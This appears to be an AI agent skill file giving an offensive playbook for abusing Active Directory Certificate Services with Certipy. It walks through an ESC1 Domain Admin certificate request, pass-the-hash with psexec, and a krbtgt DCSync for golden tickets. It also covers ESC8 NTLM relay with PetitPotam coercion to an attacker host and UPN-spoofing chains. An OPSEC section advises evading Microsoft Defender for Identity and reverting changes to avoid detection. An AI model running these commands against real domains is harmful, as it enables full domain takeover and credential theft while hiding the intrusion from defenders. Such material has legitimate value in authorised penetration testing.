ad-certipy-esc-chain

name	ad-certipy-esc-chain
description	ADCS abuse via Certipy — find vulnerable templates (ESC1-ESC15), request a certificate, authenticate as the target, dump the krbtgt. Full chain in 4 commands. Covers ESC1 (any SAN), ESC2 (any-purpose EKU), ESC3 (enrollment-agent), ESC4 (vulnerable ACL), ESC8 (NTLM relay to CA), ESC9/10/11/13.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"certipy adcs ad cs esc1 esc2 esc3 esc4 esc6 esc7 esc8 esc9 esc10 esc11 esc13 certificate template enrollment agent ntlm relay","subdomain":"ad","tags":"ad, adcs, certificate, privilege-escalation","mitre_attack":"T1649, T1078.002"}

ADCS Abuse via Certipy

certipy (Oliver Lyak / ly4k) is the single best tool for ADCS attack. Full domain compromise from a low-priv user in 4 commands, given a vulnerable template.

1. Find vulnerable templates

certipy find -u '[e-mail]' -p 'pass' -dc-ip <dc-ip> \
  -enabled -vulnerable -text -stdout

# Output: shows every ESC1-ESC15 finding with the affected template
# Look for: "ESC1", "ESC2", "ESC3" sections in the report

If you can't auth, use -username '' -password '' (anonymous LDAP — sometimes works) or use the local LDAP from a compromised machine.

2. The ESC catalog — quick reference

ESC	Misconfiguration	Exploitation primitive
ESC1	Template allows SAN (Subject Alt Name) + Client Auth EKU + low-priv enrollee	Request cert as any user (-upn [e-mail])
ESC2	Template allows Any Purpose EKU	Same as ESC1, any role
ESC3	Template has Certificate Request Agent EKU + low-priv enrollee	Use the cert to request "on behalf of" another user
ESC4	Vulnerable ACL on template (WriteOwner/WriteDacl/GenericAll)	Modify template to make it ESC1, then exploit
ESC5	Vulnerable ACL on PKI objects (CA, OID containers)	Same — modify, then exploit
ESC6	EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA	Request ANY template with -upn target
ESC7	Low-priv has Manage CA / Manage Certificates	Approve own requests, issue certs to anyone
ESC8	HTTP-based enrollment endpoint exists	NTLM relay to /certsrv/certfnsh.asp (see ad-coercer)
ESC9	msPKI-Enrollment-Flag lacks STRONG_KEY_PROTECTION_REQUIRED and template has UPN mapping	Spoof UPN, get cert
ESC10	Weak certificate mapping (UPN-only, no SID extension)	Same as ESC9 but for kerberos PKINIT
ESC11	RPC binding without packet integrity	Relay over RPC instead of HTTP
ESC13	Template grants OID group membership (ADCS-managed groups)	Get cert → become member of high-priv group
ESC14	Specific weak ACE patterns on cert templates	Edit template, ESC1-chain
ESC15	EKUwu — EKU manipulation on V1 templates	Add Client Auth EKU to a template that lacked it

3. Exploit ESC1 (the most common)

# Request a cert as Domain Administrator
certipy req -u '[e-mail]' -p 'pass' -dc-ip <dc-ip> \
  -ca 'TARGET-CA' \
  -template 'VulnerableTemplate' \
  -upn '[e-mail]' \
  -sid 'S-1-5-21-XXXX-500'

# Output: writes administrator.pfx — full DA cert.

4. Authenticate with the cert

# Convert to TGT
certipy auth -pfx administrator.pfx -username administrator -domain target.local -dc-ip <dc-ip>
# Output: NT hash + TGT

# Use the NT hash for pass-the-hash
impacket-psexec -hashes ':<NT_HASH>' target.local/[e-mail]

5. DCSync krbtgt (final step)

# Either with the cert-derived TGT:
KRB5CCNAME=administrator.ccache impacket-secretsdump -k -no-pass dc.target.local
# Or with the NT hash:
impacket-secretsdump -hashes ':<NT_HASH>' target.local/[e-mail]
# Dumps krbtgt — full domain compromise; forge golden tickets at will.

ESC8 chain (no vulnerable template, but ADCS Web Enrollment is enabled)

# Terminal 1: relay listener
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Terminal 2: coerce DC$
python3 PetitPotam.py <attacker_ip> <dc-ip>
# OR Coercer with anonymous auth

# Terminal 1 catches: GOT CERTIFICATE! Base64 PFX of DC$
# Decode, save as dc.pfx, then:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local -dc-ip <dc-ip>
# Dumps krbtgt next.

ESC9/10 chain (UPN mapping abuse)

If you have GenericWrite on a user object (e.g., via low-priv-on-svc-account):

# 1. Change target user's UPN to a victim with no cert protection
certipy account update -u [e-mail] -p pass \
  -user 'victim' -upn '[e-mail]'

# 2. Request a cert as victim (now resolves to admin)
certipy req -u [e-mail] -p pass -ca TARGET-CA -template User \
  -dc-ip <dc-ip>

# 3. Revert UPN to avoid detection
certipy account update -u lowpriv -p pass -user victim -upn '[e-mail]'

# 4. Auth with the cert — gives Administrator hash
certipy auth -pfx victim.pfx -domain target.local -dc-ip <dc-ip>

OPSEC

• Microsoft Defender for Identity (MDI) flags ADCS abuse via specific event IDs (4886, 4887, 4768 with cert-based auth).
• Issuing cert to a high-priv account from a low-priv source is one of the most-watched detections.
• For evasion: use legitimate-looking template names; request via the most-common CA in the org; UPN-revert immediately (ESC9/10).
• certipy auth uses PKINIT — leaves a 4768 (TGT request) where Certificate Information field is populated. Distinctive.

References

• "Certified Pre-Owned" — SpecterOps whitepaper (the original ESC1-ESC8 catalog)
• "Certipy 4.0" release notes (ly4k.github.io) — adds ESC9-ESC15
• ly4k/Certipy on GitHub — the canonical tool
• Microsoft KB articles on ADCS hardening (defender lens)